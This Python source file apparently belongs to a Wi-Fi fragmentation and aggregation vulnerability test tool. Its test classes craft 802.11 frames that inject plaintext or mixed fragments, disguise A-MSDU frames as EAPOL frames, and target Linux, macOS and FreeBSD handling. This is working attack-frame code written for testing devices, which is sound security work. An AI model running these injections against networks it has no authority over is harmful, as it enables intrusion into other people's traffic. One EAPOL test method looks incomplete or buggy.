from fraginternals import * class PingTest(Test): def __init__(self, ptype, fragments, separate_with=None, opt=None): super().__init__(fragments) self.ptype = ptype self.separate_with = separate_with self.bcast = False if opt == None else opt.bcast self.as_msdu = False if opt == None else opt.as_msdu self.icmp_size = None if opt == None else opt.icmp_size self.padding = None if opt == None else opt.padding self.to_self = False if opt == None else opt.to_self def prepare(self, station): log(STATUS, "Generating ping test", color="green") # Generate the header and payload header, request, self.check_fn = generate_request(station, self.ptype, icmp_size=self.icmp_size, padding=self.padding, to_self=self.to_self) if self.as_msdu == 1: # Set the A-MSDU frame type flag in the QoS header header.Reserved = 1 # Encapsulate the request in an A-MSDU payload request = create_msdu_subframe(station.mac, station.get_peermac(), request) elif self.as_msdu == 2: # Set A-MSDU flag but include a normal payload (fake A-MSDU) header.Reserved = 1 # Create list of fragment numbers to be used fragnums = [] next_fragnum = 0 for act in self.actions: if act.is_meta(Action.MetaDrop): next_fragnum += 1 elif act.action == Action.Inject: fragnums.append(next_fragnum) next_fragnum += 1 self.actions = list(filter(lambda act: not act.is_meta(Action.MetaDrop), self.actions)) # Generate all the individual (fragmented) frames num_frags = len(self.get_actions(Action.Inject)) frames = create_fragments(header, request, num_frags) # Assign frames to the existing fragment objects for frag, frame in zip(self.get_actions(Action.Inject), frames): if self.bcast: frame.addr1 = "ff:ff:ff:ff:ff:ff" # Assign fragment numbers according to MetaDrop rules frame.SC = (frame.SC & 0xfff0) | fragnums.pop(0) frag.frame = frame # Put the separator after each fragment if requested. if self.separate_with != None: for i in range(len(self.actions) - 1, 0, -1): # Check if the previous action is indeed an injection prev_frag = self.actions[i - 1] if prev_frag.action != Action.Inject: continue # Create a similar inject action for the seperator sep_frag = Action(prev_frag.trigger, enc=prev_frag.encrypted) sep_frag.frame = self.separate_with.copy() station.set_header(sep_frag.frame) self.actions.insert(i, sep_frag) class ForwardTest(Test): def __init__(self): super().__init__([ Action(Action.Connected, enc=True) ]) self.magic = b"forwarded_data" self.check_fn = lambda p: self.magic in raw(p) def prepare(self, station): # We assume we are targetting the AP header = station.get_header(prior=2) if header.FCfield & Dot11(FCfield="to-DS").FCfield == 0: log(ERROR, "Impossible test! It makes to sense to test whether a client forwards frames.") # Set final destination to be us, the client header.addr3 = station.mac self.actions[0].frame = header/LLC()/SNAP()/IP()/Raw(self.magic) class LinuxTest(Test): def __init__(self, ptype, decoy_tid=None): super().__init__([ # Note: to inject immediately after 4-way provide IPs using --ip and --peerip Action(Action.Connected, Action.GetIp), Action(Action.Connected, enc=True), Action(Action.Connected, enc=True), Action(Action.Connected, enc=False) ]) self.ptype = ptype self.decoy_tid = decoy_tid def prepare(self, station): header, request, self.check_fn = generate_request(station, self.ptype) frag1, frag2 = create_fragments(header, request, 2) # Fragment 1: normal self.actions[0].frame = frag1 # Fragment 2: make Linux update latest used crypto Packet Number. Use a dummy packet # that can't accidently aggregate with the first fragment in a corrrect packet. p = station.get_header(prior=2)/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment") p.SC = frag2.SC ^ (1 << 4) # - In the attack against Linux, the decoy frame must have the same QoS TID. # - On the other hand, some devices seem to only cache fragments for one sequence # number per QoS priority. So to avoid overwriting the first fragment, add this # option to use a different priority for it. p.TID = 2 if self.decoy_tid != None: p.TID = 3 self.actions[1].frame = p # Fragment 3: can now inject last fragment as plaintext self.actions[2].frame = frag2 class MacOsTest(Test): """ See docs/macoxs-reversing.md for background on the attack. """ def __init__(self, ptype, actions): super().__init__(actions) self.ptype = ptype def prepare(self, station): # First fragment is the start of an EAPOL frame header = station.get_header(prior=2) request = LLC()/SNAP()/EAPOL()/EAP()/Raw(b"A"*32) frag1, _ = create_fragments(header, data=request, num_frags=2) # Second fragment has same sequence number. Will be accepted # before authenticated because previous fragment was EAPOL. # By sending to broadcast, this fragment will not be reassembled # though, meaning it will be treated as a full frame (and not EAPOL). _, request, _ = generate_request(station, self.ptype) frag2, = create_fragments(header, data=request, num_frags=1) frag2.SC |= 1 frag2.addr1 = "ff:ff:ff:ff:ff:ff" self.actions[0].frame = frag1 self.actions[1].frame = frag2 class EapolTest(Test): # TODO: # Test 1: plain unicast EAPOL fragment, plaintext broadcast frame => trivial frame injection # Test 2: plain unicast EAPOL fragment, encrypted broadcast frame => just an extra test # Test 3: plain unicast EAPOL fragment, encrypted unicast fragment => demonstrates mixing of plain/encrypted fragments # Test 4: EAPOL and A-MSDU tests? def __init__(self): super().__init__([ Action(Action.BeforeAuth, enc=False), Action(Action.BeforeAuth, enc=False) ]) def prepare(self, station): header = station.get_header(prior=2) request = LLC()/SNAP()/EAPOL()/EAP()/Raw(b"A"*32) frag1, frag2 = create_fragments(header, data=request, num_frags=2) frag1copy, frag2copy = create_fragments(header, data=request, num_frags=2) frag1copy.addr1 = "ff:ff:ff:ff:ff:ff" frag2copy.addr1 = "ff:ff:ff:ff:ff:ff" self.actions[0].frame = frag1 self.actions[0].frame = frag2 class EapolAmsduTest(Test): def __init__(self, ptype, actions, freebsd=False): super().__init__(actions) self.ptype = ptype self.freebsd = freebsd def prepare(self, station): log(STATUS, "Generating ping test", color="green") # Generate the single frame header, request, self.check_fn = generate_request(station, self.ptype) # Set the A-MSDU frame type flag in the QoS header header.Reserved = 1 # Testing #header.addr2 = "00:11:22:33:44:55" # Masquerade A-MSDU frame as an EAPOL frame if self.freebsd: log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid") request = freebsd_create_eapolmsdu(station.mac, station.get_peermac(), request) else: request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(station.mac, station.get_peermac(), request) frames = create_fragments(header, request, 1) # XXX Where was this needed again? auth = Dot11()/Dot11Auth(status=0, seqnum=1) station.set_header(auth) auth.addr2 = "00:11:22:33:44:55" self.actions[0].frame = auth self.actions[1].frame = frames[0]